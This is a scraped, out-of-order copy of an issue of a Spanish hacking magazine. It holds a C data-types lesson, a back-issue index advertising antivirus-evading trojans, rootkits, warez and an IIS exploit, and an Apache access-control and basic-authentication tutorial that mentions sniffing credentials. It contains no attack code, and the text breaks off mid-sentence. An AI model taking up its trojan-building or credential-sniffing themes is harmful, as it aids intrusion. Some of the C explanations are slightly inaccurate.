             representar subconjuntos de los números            subconjunto se le conoce como enumeración
             naturales y enteros, mientras que los segundos     y a cada uno de sus elementos se le asocia un
             se emplean para representar un subconjunto         identificador. La definición de un tipo enumerado
             de los números racionales.                         es:

             3.2.1.1. Tipos enteros                             enum tipo_enumerado{identificador1,
             Para declarar variables de alguno de los tipos     identificador2,...identificadorN};


Página 62                                                                                            PC PASO A PASO Nº 12
Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C




            Por ejemplo:
                                                                    tenemos solo 10 elementos numéricos (0,1,2,3,4,5,6,7,8,9)
             enum meses {enero=1, febrero, marzo, abril, mayo,      que combinamos una y otra vez para obtener infinitos
            junio, julio, agosto, septiembre, octubre, noviembre,   números. El Código Binario es lo mismo, pero en este caso
            diciembre};                                             está formado por 2 elementos de estado (0,1) y podemos
                                                                    combinarlos infinitamente para obtener infinitos resultados.
            enum meses mes;
                                                                    Lo importante es establecer una relación entre el código
            mes será una variable del tipo enum meses.              binario y el decimal y, más importante aún, entenderlo.
                                                                    Vamos a ser muy rápidos:
                                                                    - El máximo número de elementos que puede representar
  !             Nota de Pc Paso a Paso                              un conjunto de 8 bits, es decir, el máximo número de
                                                                    combinaciones distintas que pueden hacerse con 8 bits son
                                                                    256. Si hemos estudiado un poco de combinatoria sabemos
  NOTA de PC PASO A PASO: Para el que desconoce este                que la forma de hallar este número (256) es elevando la
  mundillo, al leer que char define un número entero de 8           base del Sistema, en este caso el Sistema Binario (2) al
  bits se debe haber quedado, supongo, pensando en qué              número de bits especificado (8)… y dos elevado a 8 da
  demonios significa eso ¿verdad? :) Vamos a intentar               256 posibles elementos binarios.
  desvelar esa cosa tan rara llamada “número entero de 8
  bits”.
                                                                    - Si relacionamos cada elemento binario con un número
  Cuando definimos una variable como “de tipo char”, el
                                                                    decimal, vemos que podemos representar 255 números
  compilador reservará en la memoria una zona de
                                                                    decimales. No, no… no pienses que me he equivocado, no
  exactamente 8 bits. Pero… ¿qué es un bit? Un bit es un
                                                                    podemos representar 256 números decimales porque el
  espacio de memoria que puede tener únicamente dos estados:
                                                                    CERO es un elemento decimal, por lo tanto podemos
  apagado (un cero) o encendido (un uno). Quizás te preguntes
                                                                    representar desde el número decimal 0 hasta el número
  por qué solo puede contener esos dos valores… despierta!!!
                                                                    decimal 255 (es decir, 256 elementos decimales).
  La memoria no es una especie de “cosa alienígena” ajena
  al mundo que te rodea, la memoria de tu ordenador está            - Si quisiésemos incluir números negativos decimales,
  formada por transistores (por decirlo de alguna manera) y         podríamos representar desde el número decimal -128 hasta
  un transistor puede estar encendido o apagado. No pienses         el número decimal 127 (es decir, 256 elementos decimales)
  más, no es ningún misterio, es tan sencillo como una              Ahora sería ideal enseñar cómo podemos “traducir” números
  bombilla; si está encendida es porque la electricidad pasa        decimales a binario y combinaciones binarias a números
  por ella y si está apagada es porque la electricidad no pasa      decimales, y de paso mostrar cómo trabajar con los
  por ella. Y ahora viene lo bueno, la memoria no contiene          operadores NOT, AND, OR, XOR y su importancia. Quizás
  NADA!!! Simplemente deja o no deja pasar la corriente             en otro artículo pero no en este. La intención de esta
  eléctrica, ES EL HOMBRE quien dijo: que el estado                 “introducción” al código binario era dejar MUY CLARO
  apagado sea interpretado como un CERO y el estado                 el por qué una variable “tipo char” puede representar
  encendido sea interpretado como un UNO… y así nació el            números decimales desde el -128 al 127 (256 elementos)
  CÓDIGO BINARIO.                                                   y una variable “tipo unsigned char” puede representar
  No queremos extendernos mucho, esto daría para una                números decimales desde el CERO hasta el 255 (256
  revista entera, podríamos empezar a explicar como el              elementos). Por lo tanto NUNCA debemos asignar el “tipo
  mundo fue recreado a imagen y semejanza del Código                char” a una variable para asignarle posteriormente valores
  Binario… sin duda es un tema apasionante pero vamos al            fuera de estos rangos.
  grano. Nos hemos quedado en que es el hombre quien da             Todo este “tocho” tenía una finalidad. ¿Qué es una IP?
  el valor CERO o UNO al estado de APAGADO o                        Una IP es un conjunto de 4 números positivos enteros de
  ENCENDIDO. Ahora le toca al hombre encontrar un                   8 bits separados por puntos. ¿Por qué creías si no que una
  sistema para trabajar con esos ceros y unos (pura                 IP nunca tenía valores superiores a 255? Pues porque son
  matemática).                                                      números de 8 bits. La IP “mínima” que puedes “encontrar”
  Los humanos entendemos el Sistema Decimal, cuando                 es 0.0.0.0 y la “máxima” 255.255.255.255 ;p
  hacemos cálculos (sumamos, restamos…) lo hacemos en               Propongo que en el foro, los que dominan este tema
  Sistema Decimal y se llama Sistema Decimal porque



PC PASO A PASO Nº 12                                                                                                 Página 63
Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C




                                                              #include <stdio.h>
 ofrezcan ejercicios para pasar de números decimales a         main()
 binarios e inversa. También sería interesante explicar un
 poco los operadores e incluso dar un repaso a todo eso de     {
 números reales, enteros… … ahora ya nunca más podremos            char caracter;
 decir que las matemáticas no sirven para nada, de hecho,
                                                                   int entero;
 el mundo en que vivimos es matemática pura lo mires por
 donde lo mires.                                                   float real;
                                                                   caracter=10;
                                                                   entero=10;
            3.2.1.2. Tipos reales                                  real=10;
                                                                   printf("char ==< Contenido: %c, Ocupa: %dbytesn",caracter,sizeof(char));
            Para declarar variables de alguno de los tipos
            reales emplearemos las palabras reservadas             printf("int ==< Contenido: %i, Ocupa: %d bytesn",entero, sizeof(int));
            float y double.                                        printf("float ==< Contenido: %f, Ocupa: %d bytesn",real,sizeof(float));

                                                               }
            float
            Define un número entero en coma flotante de       Obviamente los resultados de este programa no tienen
            precisión simple. El tamaño de este tipo suele    porqué coincidir con los del gráfico. Recordemos que los
            estar asociado a 4 bytes (32 bits).               tamaños de los tipos varían entre arquitecturas, sistemas
                                                              operativos, e incluso compiladores.
            double
                                                              3.2.3. Tipos Derivados
            Define un número en coma flotante de precisión
            doble. El tamaño de este tipo suele estar         Los tipos derivados serán aquellos que se generen a partir
            asociado a 8 bytes (64 bits). El tipo double      de los tipos fundamentales o de otros tipos derivados.
            puede ir precedido del modificador long, lo que   Nosotros iremos viendo los arrays o vectores, punteros,
            indica que su tamaño pasa a ser de 10 bytes.      estructuras, uniones y campos de bits.

            Ejemplos:
                                                              4. Cierre
                float temperatura = 36.5;
                                                              Esta vez me sabe a poco el artículo hasta a mí. Nos queda
                double distancia = 128e64;                    aún jugar con tipos derivados, punteros, etc... En el siguiente
                                                              número también explicaremos funciones y los diversos modos
                                                              de pasar parámetros. Concretamente construiremos nuestro
                                                              propio tipo matriz, utilizando ya archivos de cabecera y
            3.2.2. Operador sizeof                            archivos Makefile. A la espera de ello, vamos a releernos
                                                              este artículo y muy gustosamente iré ampliando algún tema
            Para determinar el tamaño en bytes (8 bits =      o resolviendo dudas en el foro.
            1 byte) ocupados en memoria, tanto de un
            tipo fundamental como de un tipo derivado, el
                                                              Bibliografía
            lenguaje C nos proporciona la función sizeof.
            Esto, aparte de permitirnos conocer cuantas       UNiX Programación Avanzada, Fco. Manuel Márquez, Editado
            "casillas" de memoria ocupan realmente            por Ra-Ma, ISBN: 84-7897-239-0.
            nuestras variables cuando las declaramos, nos
                                                              Slackware Linux Unleashed, Bao Ha y Tina Nguyen, Editado
            permitirá facilitar la portabilidad del código.
                                                              por Pearson Education, ISBN: 0-672-31768-0.
            El siguiente ejemplo nos mostrará el tamaño
                                                              Advanced Linux Programming, Mark Mitchel, Jeffrey Oldham,
            real en nuestra computadora de los tipos de
                                                              y Alex Samuel, Editado por New Riders, ISBN:
            datos de C empleados en el ejemplo de la
            figura:                                           0-7357-1043-0



Página 64                                                                                                    PC PASO A PASO Nº 12
NÚMERO1:                                                           NÚMERO 2:
                                                                    -CODE/DECODE BUG: INTRODUCCIÓN.
-CREA TU PRIMER TROYANO                                             -CODE/DECODE BUG: LOCALIZACIÓN DEL OBJETIVO.
INDETECTABLE POR LOS ANTIVIRUS.                                     -CODE/DECODE BUG: LÍNEA DE COMANDOS.
-FLASHFXP: SIN LÍMITE DE VELOCIDAD.                                 -CODE/DECODE BUG: SUBIENDO ARCHIVOS AL SERVIDOR REMOTO.
-FTP SIN SECRETOS: PASVMODE.                                        -OCULTACIÓN DE IP: PRIMEROS PASOS.
-PORT MODE/PASV MODE Y LOS FIREWALL: LA UTILIDAD DE LO APRENDIDO.   -LA FLECHA ÁCIDA: LA SS DIGITAL.
-TCP-IP:INICIACIÓN (PARTE 1).                                        AZNAR AL FRENTE DE LA SS DEL SIGLO XXI.
-EL MEJOR GRUPO DE SERVIDORES FTP DE HABLA HISPANA.
-EDONKEY 2000 Y SPANISHARE.
-LA FLECHA ÁCIDA.




NÚMERO 3:                                                     NÚMERO 4:
-PROXY: OCULTANDO NUESTRA IP.                                  - CREA TU SEGUNDO TROYANO, INDETECTABLE E INMUNE A LOS ANTIVIRUS.
        ASUMIENDO CONCEPTOS.                                            CONOCIENDO EL RADMIN.
-PROXY: OCULTANDO NUESTRA IP.                                           GESTIONANDO UNA SALA
        ENCADENANDO PROXIES.                                            DE ORDENADORES.
-PROXY: OCULTANDO NUESTRA IP.                                           OCULTANDO EL RADMIN.
        OCULTANDO TODOS NUESTROS PROGRAMAS TRAS LAS                     INSTALANDO EL RADMIN
        CADENAS DE PROXIES.                                             EN EQUIPOS REMOTOS.
-EL SERVIDOR DE HACKXCRACK: CONFIGURACIÓN Y MODO DE EMPLEO.    - OCULTACIÓN DE IP POR NOMBRE DE DOMINIO.
-SALA DE PRACTICAS: EXPLICACIÓN.                               - CREA LETRAS DE IMPACTO PARA TUS DOCUMENTOS (LETRAS DE FUEGO).
-PRÁCTICA 1ª: SUBIENDO UN ARCHIVO A NUESTRO SERVIDOR.          - CONSIGUE UNA IP FIJA.
-PRÁCTICA 2ª: MONTANDO UN DUMP CON EL SERV-U.
PRÁCTICA 3ª: CODE/DECODE BUG. LÍNEA DE COMANDOS.
-PREGUNTAS Y DUDAS.




                                                                    NÚMERO 6:
NÚMERO 5:
                                                                    - PASA TUS PELICULAS A DIVX (STREAMING)
-HACK-OPINION: LA PIRATERÍA EN INTERNET.                            - PASA TUS PELICULAS A DIVX II (CODEC DIVX)
-ROOTKITS: LA PESADILLA DE CUALQUIER ADMINISTRADOR.                 - PUERTOS & SERVICIOS
-ROOTKITS: EL SR. NTROOT.                                           - eMule: EL NUEVO REY DEL P2P
-WAREZ: APPZ, GAMEZ, MP3Z, DIVX, FTPZ, 0-DAY.                       - NUEVA SECCION: PROGRAMACION DESDE 0
-APRENDIENDO A COMPILAR PROGRAMAS. COMPILA TU PROPIO NETCAT.        - CURSO DE VISUAL BASIC
-BUGS, ERRORES Y OTRAS FORMA DE JOD...                              - IPHXC: EL TERCER TROYANO DE HXC
-NETBIOS: ESTUDIO Y PENETRACIÓN DE SISTEMAS.                        - TENDENCIAS ACTUALES EN CODIGO MALICIOSO
-ASESINADOS POR LA LSSI.                                            - OCULTACION DE FICHEROS. METODO STREAM (ads)
-LISTADO DE ORDENES PARA NETBIOS.                                   - TRASTEANDO CON EL HARDWARE DE UNA LAN
-HACK-OPINION: PAGOS POR INTERNET SEGUROS YÁ.

    PC PASO A PASO Nº 12                                                                                       Página 65
NÚMERO 8:

NÚMERO 7:                                           - CURSO DE LINUX
- PROTOCOLOS: POP3                                  - APACHE: COMPARTE ARCHIVOS
- PASA TUS PELICULAS A DIVX III (EL AUDIO)          - REVERSE SHELL
- PASA TUS PELICULAS A DIVX IV (MULTIPLEXADO)       - CURSO DE VISUAL BASIC: MAS
- CURSO DE VISUAL BASIC: LA CALCULADORA               CALCULADORA
- IPHXC: EL TERCER TROYANO DE HXC II                - PROTOCOLOS Y SU SEGURIDAD: SMTP
- APACHE: UN SERVIDOR WEB EN NUESTRO PC
- CCPROXY: IV TROYANO DE PC PASO A PASO
- TRASTEANDO CON EL HARDWARE DE UNA LAN




                                                    NÚMERO 10:
 NÚMERO 9:
                                                    - CURSO DE LINUX (Gestión de usuários)
 - CURSO DE LINUX (Sistema de archivos)             - APACHE + MySQL + PHP=Trio de Ases
 - APACHE: COMPARTE ARCHIVOS MEDIANTE        WEB.   - CURSO DE VISUAL BASIC: ACCESO A DATOS(II)
 - CURSO DE VISUAL BASIC: MI 1ª DLL  ACCESO A      - XML: El futuro de la trasferencia de datos
   DATOS                                            - SERIE RAW: DCC
 - PORT SCANING: NMAP
 - SERIE RAW: IRC




                                                    NÚMERO 11:
                                                    - Curso de linux: programacion
                                                    - Visual Basic: IIS bug exploit
                                                    - Apache como proxy
                                                    - Serie Raw: FTP
                                                    - Validacion XML: DTD
                                                    - Historia: Lady Augusta Ada Byron




   Página 66                                                                  PC PASO A PASO Nº 12
Hxc12
Hxc12

Más contenido relacionado

PDF
Hxc17
PDF
Hxc14
PDF
Hxc15
PDF
Hxc13
PDF
Hxc19
PDF
Hxc18
PDF
Hxc16
PDF
Hxc21
Hxc17
Hxc14
Hxc15
Hxc13
Hxc19
Hxc18
Hxc16
Hxc21

Destacado (6)

PDF
Hxc6
PDF
Hxc9
PDF
Hxc5
PDF
Hxc20
PDF
Hxc10
PDF
Hxc3
Hxc6
Hxc9
Hxc5
Hxc20
Hxc10
Hxc3
Publicidad

Similar a Hxc12 (20)

PDF
Hxc23
PDF
Hxc11
PDF
Hxc22
PDF
Hxc8
PDF
Haxcra8.pdf
PDF
Hxc2
PDF
Hxc7
PDF
Hd magazine nro2
PDF
Hd magazine No 3
PDF
Hxc4
PDF
Hxc1
PDF
Hxc1
PPTX
Sonicwall_ngfw
PDF
Hd magazine nro1
PDF
#1 - Hackers & Developers Magazine
DOCX
ensayo para erick de alan bodro
PDF
Impact Diciembre07
PDF
Html francisco hurtado
Hxc23
Hxc11
Hxc22
Hxc8
Haxcra8.pdf
Hxc2
Hxc7
Hd magazine nro2
Hd magazine No 3
Hxc4
Hxc1
Hxc1
Sonicwall_ngfw
Hd magazine nro1
#1 - Hackers & Developers Magazine
ensayo para erick de alan bodro
Impact Diciembre07
Html francisco hurtado
Publicidad

Más de rubenroa (20)

PPTX
Estudios epidemiologicos
PPTX
Efectividad de la vacunacion Covid-19 en variante delta
PPTX
Causalidad
PPTX
Evaluacion de tecnologias sanitarias
PPT
Epidemiologia
PPT
Pediatrics 2008 jul 122(1) 143 8, figure-1
PPT
Introducción análisis farmacoepidemiológico sss&farma-taller15jun2011
PPTX
Maceira sss&farma-taller15jun2011
PPTX
Datos cohorte chilena sida (1)
PPT
Ferinject
PPTX
Kappos fingolimod moa-clin_results_vfinal_buenosaires1a
PPT
Uso Racional de Medicamentos
PPS
tabaquismo
PPT
Sesion ppt -2641_
PPT
Auditoria em
PPS
Indice tobillo brazo
PPS
indice tobillo brazo
PPTX
Epistemología y paradigmas
PPS
Vertigo acv
PPS
Apendicectomia
Estudios epidemiologicos
Efectividad de la vacunacion Covid-19 en variante delta
Causalidad
Evaluacion de tecnologias sanitarias
Epidemiologia
Pediatrics 2008 jul 122(1) 143 8, figure-1
Introducción análisis farmacoepidemiológico sss&farma-taller15jun2011
Maceira sss&farma-taller15jun2011
Datos cohorte chilena sida (1)
Ferinject
Kappos fingolimod moa-clin_results_vfinal_buenosaires1a
Uso Racional de Medicamentos
tabaquismo
Sesion ppt -2641_
Auditoria em
Indice tobillo brazo
indice tobillo brazo
Epistemología y paradigmas
Vertigo acv
Apendicectomia

Último (20)

PPTX
Acronis Cyber Protect Cloud para Ciber Proteccion y Ciber Seguridad LATAM - A...
PPTX
Presentación de Redes de Datos modelo osi
PPTX
historia_web de la creacion de un navegador_presentacion.pptx
PPTX
RAP02 - TECNICO SISTEMAS TELEINFORMATICOS.pptx
PPTX
Propuesta BKP servidores con Acronis1.pptx
PPT
Que son las redes de computadores y sus partes
PPTX
Presentación PASANTIAS AuditorioOO..pptx
PDF
Estrategia de apoyo tecnología grado 9-3
DOCX
Zarate Quispe Alex aldayir aplicaciones de internet .docx
PPTX
IA de Cine - Como MuleSoft y los Agentes estan redefiniendo la realidad
PDF
CyberOps Associate - Cisco Networking Academy
PPT
El-Gobierno-Electrónico-En-El-Estado-Bolivia
PPTX
sa-cs-82-powerpoint-hardware-y-software_ver_4.pptx
PPTX
ANCASH-CRITERIOS DE EVALUACIÓN-FORMA-10-10 (2).pptx
PPTX
RAP01 - TECNICO SISTEMAS TELEINFORMATICOS.pptx
PDF
Liceo departamental MICRO BIT (1) 2.pdfbbbnn
PDF
MÓDULO DE CALOR DE GRADO DE MEDIO DE FORMACIÓN PROFESIONAL
PDF
programa-de-estudios-2011-guc3ada-para-el-maestro-secundarias-tecnicas-tecnol...
PDF
taller de informática - LEY DE OHM
PDF
Maste clas de estructura metálica y arquitectura
Acronis Cyber Protect Cloud para Ciber Proteccion y Ciber Seguridad LATAM - A...
Presentación de Redes de Datos modelo osi
historia_web de la creacion de un navegador_presentacion.pptx
RAP02 - TECNICO SISTEMAS TELEINFORMATICOS.pptx
Propuesta BKP servidores con Acronis1.pptx
Que son las redes de computadores y sus partes
Presentación PASANTIAS AuditorioOO..pptx
Estrategia de apoyo tecnología grado 9-3
Zarate Quispe Alex aldayir aplicaciones de internet .docx
IA de Cine - Como MuleSoft y los Agentes estan redefiniendo la realidad
CyberOps Associate - Cisco Networking Academy
El-Gobierno-Electrónico-En-El-Estado-Bolivia
sa-cs-82-powerpoint-hardware-y-software_ver_4.pptx
ANCASH-CRITERIOS DE EVALUACIÓN-FORMA-10-10 (2).pptx
RAP01 - TECNICO SISTEMAS TELEINFORMATICOS.pptx
Liceo departamental MICRO BIT (1) 2.pdfbbbnn
MÓDULO DE CALOR DE GRADO DE MEDIO DE FORMACIÓN PROFESIONAL
programa-de-estudios-2011-guc3ada-para-el-maestro-secundarias-tecnicas-tecnol...
taller de informática - LEY DE OHM
Maste clas de estructura metálica y arquitectura

Hxc12

  • 1. HACK X CRACK: ATRAVESANDO FIREWALLS POR FTP P SERVIDOR A WEB APACHE S pROTEGE TU APACHE O RESTRICCION DE ACCESOS - AUTENTIFICACION ANALIZANDO A NUESTROS “VISITANTES” - LOGS P A S Oa a a a a a a aa a a a a a CODIFICACION - HTPASSWD - CORTAFUEGOS IIS BUG SCANNER CREA TU PROPIA HERRAMIENTA DE HACKING 1 2 SERVIDORES 3 ON LINE PARA TUS APRENDE A UTILIZAR LOS SERVIDORES FTP COMO ANONIMIZADORES !!! Nº 12 -- P.V.P. 4,5 EUROS 00012 8 414090 202756 PC PASO A PASO: BASE 64, UUENCODE, UUDECODE, MIME, ASCII, BITS...
  • 2. P A S O aa P A S Oaa aa a a aa a a a a a a aa EDITORIAL: EDITOTRANS S.L. Director de la Publicación J. Sentís C.I.F: B43675701 PERE MARTELL Nº 20, 2º - 1ª E-mail contacto 43001 TARRAGONA (ESPAÑA) director@hackxcrack.com Director Editorial Diseño gráfico: I. SENTIS J. M. Velasco E-mail contacto director@editotrans.com E-mail contacto: Título de la publicación Los Cuadernos de HACK X CRACK. grafico@hackxcrack.com Nombre Comercial de la publicacíón PC PASO A PASO Redactores Web: www.hackxcrack.com AZIMUT, ROTEADO, FASTIC, MORDEA, FAUSTO, Dirección: PERE MARTELL Nº 20, 2º - 1ª. ENTROPIC, MEIDOR, HASHIMUIRA, BACKBONE, 43001 TARRAGONA (ESPAÑA) ZORTEMIUS, AK22, DORKAN, KMORK, MAILA, TITINA, SIMPSIM... ... ... ... ... ¿Quieres insertar publicidad en PC PASO A Contacto redactores PASO? Tenemos la mejor relación precio-difusión redactores@hackxcrack.com del mercado editorial en España. Contacta con nosotros!!! Colaboradores Mas de 130 personas: de España, de Brasil, de Director de Marketing Argentina, de Francia, de Alemania, de Japón y Sr. Miguel Mellado algún Estadounidense. Tfno. directo: 652 495 607 Tfno. oficina: 877 023 356 E-mail: miguel@editotrans.com E-mail contacto colaboradores@hackxcrack.com Imprime I.G. PRINTONE S.A. Tel 91 808 50 15 DISTRIBUCIÓN: SGEL, Avda. Valdeparra 29 (Pol. Ind.) 28018 ALCOBENDAS (MADRID) Tel 91 657 69 00 FAX 91 657 69 28 WEB: www.sgel.es TELÉFONO DE ATENCIÓN AL CLIENTE: 977 22 45 80 Petición de Números atrasados y Suscripciones (Srta. Genoveva) HORARIO DE ATENCIÓN: DE 9:30 A 13:30 (LUNES A VIERNES) © Copyright Editotrans S.L. NUMERO 12 -- PRINTED IN SPAIN PERIOCIDAD MENSUAL Deposito legal: B.26805-2002 Página 2 Código EAN: 8414090202756 A PASO Nº 12 PC PASO
  • 3. EDITORIAL UNAS LARGAS VACACIONES Ya estamos de nuevo aquí para seguir alimentando esas ahora tenemos, si queremos avanzar necesitamos capital, mentes curiosas que no se conforman con mover el ratón si queremos contratar personal para que se solucionen y esperar que se lo den todo en bandeja. Hay dos formas los mil y un retrasos que tenemos en todos los frentes de leer esta revista: como un simple turista o como un necesitamos capital, si queremos patrocinar iniciativas aplicado estudiante. Tú decides!!! Si eres de los que disfrutan (por ejemplo concursos de hacking) necesitamos capital. con los retos, esta es tu revista… te aseguramos que el Esta es una dura lección que estamos aprendiendo a esfuerzo vale la pena y te reportará gratificantes recompensas base de golpes :( :) - ¿Problemas? Muchos, pero seguiremos mejorando y ¿Noticias frescas? Si consultas el foro de www.hackxcrack.com haciéndoles frente como hasta ahora hemos hecho. En este ya sabrás las últimas novedades, en caso contrario las momento estamos trabajando en dos temas: La nueva comento en estas líneas: WEB (que ya está programándose) y empezaremos a liberar artículos en PDF en cuanto esté ON LINE, porque los nuevos - ¿Más páginas en la revista? Lo estamos intentando, pudiste lectores que compran la revista SE ASUSTAN al leerla. ver que el número 11 tenía 16 páginas “extra”. Siempre que Normal y perfectamente comprensible, parece que no pero dispongamos de capital suficiente PC PASO A PASO aumentará HEMOS AVANZADO MUCHO y para alguien que nunca nos poco a poco sus páginas, a partir de ahora será un “misterio” ha leído es demasiado avanzada. Veremos cómo que se desvelará cada mes en tu quiosco. solucionamos este problema. Es cierto que puedes pedirnos los números atrasados por la WEB (tenemos en el almacén - ¿TRES SERVIDORES para las practicas? Pues si, gracias a más de 20.000 unidades), pero nos gustaría encontrar AZIMUT tenemos ahora 3 servidores ON LINE para que no te soluciones paralelas. quedes sin tu ración de “practica pura”!!! ¡Ya me he quedado sin página, otra vez! Agradecemos - ¿Cambio de distribuidor? Si, a partir de ahora nos distribuirá una vez más el excelente trabajo de nuestros SGEL, el número 1 en la distribución de prensa escrita en colaboradores y en especial el durísimo y desinteresado España. Aunque en el foro se han vertido duras críticas con trabajo de los moderadores del foro. Gracias a ellos el respecto a COEDIS (nuestro anterior distribuidor), debo rectificar foro es un centro de reunión que cada vez cuenta con a AZIMUT y decir que PC PASO A PASO cambia de distribuidor más y mejores miembros. porque intentamos tener un mayor control sobre los puntos de venta y deseamos que puedas pedir números atrasados ¡Una vez más GRACIAS! directamente en los quioscos. Esperamos dejar las puertas abiertas con COEDIS para futuras iniciativas editoriales, debemos recordar que cuando nadie nos quería COEDIS NOS ACOGIÓ y gracias a ellos se pudo distribuir esta revista. Desde aquí un saludo al Sr. Cadena (COEDIS), que puso a nuestra disposición en todo momento su dilatada experiencia en la distribución de medios escritos. ¿Dónde está la DECLARACIÓN DE INTENCIONES que siempre encabezaba la revista? En la WEB. La pondremos en la revista siempre que podamos, pero preferimos utilizar esa página para contenido “real” :) - ¿Publicidad en la revista? Si, a partir de ahora intentaremos incluir en la revista toda la publicidad que podamos. Seamos realistas, después de hacer números, números y más números hemos llegado a la única solución posible: publicidad = aumento de páginas útiles. Si queremos crecer, poder pagar más páginas útiles, tener más servidores y asentarnos en el mercado tenemos que poner publicidad. Recordemos que AZIMUT ha pagado de su propio bolsillo los tres servidores que
  • 4. Parte VI: Configura tu servidor APACHE DE FORMA seGURA - Si has seguido nuestro curso, ya hemos convertido nuestro PC en un Servidor Web y un montón de usuarios visitandolo. Ahora te enseñaremos a protegerlo, “investigaremos” a nuestros invitados, aprenderemos a banear y restringir el acceso y mucho mas. Bienvenidos de nuevo. Os comunicamos que 1.1 Proceso de autentificación basada este capítulo será el último de la serie Apache, en el host. a lo largo de los anteriores números hemos explicado como instalar, configurar y sacar En este sistema de autenticación, el control del partido al servidor web Apache. Vamos a acceso se basa en el nombre del host o en su terminar el curso explicando como configurar dirección IP. Cuando el navegante visita la web, la seguridad del servidor Apache, como saber Apache captura su nombre e IP y busca si este quienes nos visitan y para finalizar vamos a navegante tiene permisos para acceder a los instalar un cortafuegos que nos proteja de recursos. Este sistema es muy útil para bannear ataques externos. Venga, un esfuerzo más... (impedir el acceso) a los navegantes que visitan la web con malas intenciones. 1. Autentificación básica. El módulo que se encarga de controlar el acceso Cuando un navegante accede a Internet, la basada en host se llama mod_access, gracias sesión se mantiene con el servidor hasta que al cual se puede controlar el acceso basándose el cliente abandona la red. En WWW, el cliente en nombre del host de un cliente Web. El suele ser el explorador web (el Internet Explorer, nombre puede ser el del dominio (como Netscape…) y el servidor es un Servidor Web user1.hackxcrack.com) o una dirección IP (como como Apache. El protocolo HTTP no es 208.124.67.0). permanente, por lo que la sesión no se mantiene permanentemente. Una vez que el servidor Para controlar el acceso se trabaja con las web sirve la página, éste corta la conexión siguientes directrices: allow, deny, order, allow para dejar la conexión abierta con el fin de from env y deny from env. aceptar futuras peticiones. Allow De modo más claro, ¿para qué sirve mantener Sintaxis: allow from host1 host2 host3 la sesión del navegante?, tal vez nos interese Esta directriz permite definir una lista con los ofrecer un servicio privado al que únicamente host que tienen permiso para acceder a un podrán acceder amigos que antes se han directorio determinado. identificado con un login y password. Una vez que se han identificado podrán acceder a los Deny servicios privados sin necesidad de que el Sintaxis: deny from host1 host2 host3 navegante tenga que estar introduciendo de Esta directriz permite definir una lista con los nuevo su login y password mientras dure la host que no tienen permiso para acceder aun sesión. directorio determinado. Página 4 PC PASO A PASO Nº 12
  • 5. SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO Order Parte del nombre del navegante: Sintaxis: order deny, allow | allow, deny | allow from .mundivia.es mutual-failure Dirección IP completa: Esta directriz controla el sistema de evaluación allow from 80.58.0.44 que utiliza Apache con las directrices allow y Parte de la dirección Ip de un host: deny. allow from 80.58 Red / máscara de red: Ejemplo 1: Vamos a prohibir el acceso al allow from 80.58.0.0/255.255.255.0 directorio de mp3 a todos los navegantes que nos visiten con conexiones de proxy-cache de Otro ejemplo, supongamos que tenemos una Telefónica. Que nadie se enfade, esto es solo Web con "pelis" Divx y queremos que solo se un ejemplo. conecten los navegantes que tengan las conexiones más rápidas (cable), para que la El nombre de un navegante que se conecta descarga sea lo más rápido posible y no nos con ProxyCache de telefónica es monopolicen nuestro servidor por mucho IP.proxycache.rima-tde.net, por ejemplo tiempo aceptaremos conexiones de Madritel y (80.58.0.44.proxycache.rima-tde.net) de Ono. Abrimos el archivo de configuración de Apache, Podemos identificar una conexión de Ono si el httpd.conf y copiamos el siguiente código: nombre del navegante contiene el texto onolab.com o ono.com, mientras que para <Directory /mp3> identificar un navegante de Madritel vamos a order deny, allow utilizar el rango de IPs (213.37.0.0 – d e ny f r o m . p r ox yc a c h e . r i m a - t d e . n e t 213.37.65.255). allow from all </Directory> <Directory /divx> order deny, allow ¿Qué le estamos diciendo a Apache?, en deny from all directory le comunicamos el directorio que allow from onolab.com ono.com 213.37.0.0/255.255.0.0 deseamos proteger, en order le comunicamos </Directory> las directrices que vamos a utilizar (denegar y aceptar), en deny colocamos parte del Este ejemplo niega el acceso al directorio divx nombre del dominio que deseamos a todos los navegantes excepto a aquellos que rechazar y en allow aceptamos el resto de los se conectan con cable de Ono o Madritel. navegantes. 1.2 Proceso de autenticación de HTTP Los valores que aceptan las directrices Deny básico y Allow son varios, vamos a verlo con ejemplos, ya que os serán de gran utilidad (recuerda que La autenticación básica es muy sencilla y útil también se aplica para la directriz Deny). para permitir el acceso a directorios mediante la solicitud de un login y password. Cuando un Aceptar todas las conexiones: explorador Web (por ejemplo el Internet allow from all Explorer) solicita un URL (una dirección Web cualquiera, por ejemplo www.mocosoft.com) Aceptar un navegante con nombre completo: protegida por autenticación básica, el servidor allow from hos628121470.mundivia.es PC PASO A PASO Nº 12 Página 5
  • 6. SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO devuelve una cabecera de estado 401 y otra La autentificación básica tiene claros problemas de respuesta (ahora veremos esto). de seguridad. Cuando el navegador envía la contraseña lo hace en texto plano y sin Acto seguido el explorador muestra un cuadro encriptarla. En lugar de encriptarla utiliza la solicitando introducir el login y password, el codificación UU y la transmite por Internet explorador se los envía al Servidor Web y este (busca en www.google.com UUencode y comprueba si los datos son correctos. En caso UUdecode para saber más sobre este afirmativo mostrará la página solicitada. En tipo de codificación, podrás comprobar caso negativo responde con el estado 401 y que se puede codificar y decodificar vuelve a enviar la misma cabecera de directamente). autenticación para que solicite de nuevo al usuario el login y password. Hay que tener en Seguro que más de uno estará pensando en cuenta que la ventana que solicita el login y q u e s e p u e d e n c a p t u ra r l o s d a t o s password es del Sistema Operativo por el (user:password) colocando un sniffer, explorador y no un formulario HTML. pues sí que es posible capturar el usuario y password utilizando un sniffer para la autentificación básica. Por ello no recomendamos ! ¿Qué es eso... este tipo de autentificación para aplicaciones importantes. La mayoría de las protecciones que encontrarás en Internet son utilizando esta técnica, a no ser que utilicemos un protocolo ¿Qué es eso de “el estado 401”? ¿Algún tipo de sistema de seguro que nos encripte la información (por gobierno? ;p ejemplo SSL, típico cuando accedes a una tienda Aunque ya se ha explicado en anteriores ocasiones, no está de on-line). más recordarlo. Cuando tu navegador hace una petición a una página Web, el Servidor Web contesta y le indica a tu navegador “lo que ha pasado” mediante UN CÓDIGO NUMÉRICO. Cada Siguiendo las técnicas ya comentadas en código representa “un estado”, es decir, cada código tiene un capítulos anteriores y suponiendo que un significado que le indica al navegador “lo que ha pasado”. directorio está siendo protegido por autentificación básica podemos enviar la solicitud Hablando claro, si el Servidor Web contesta con el 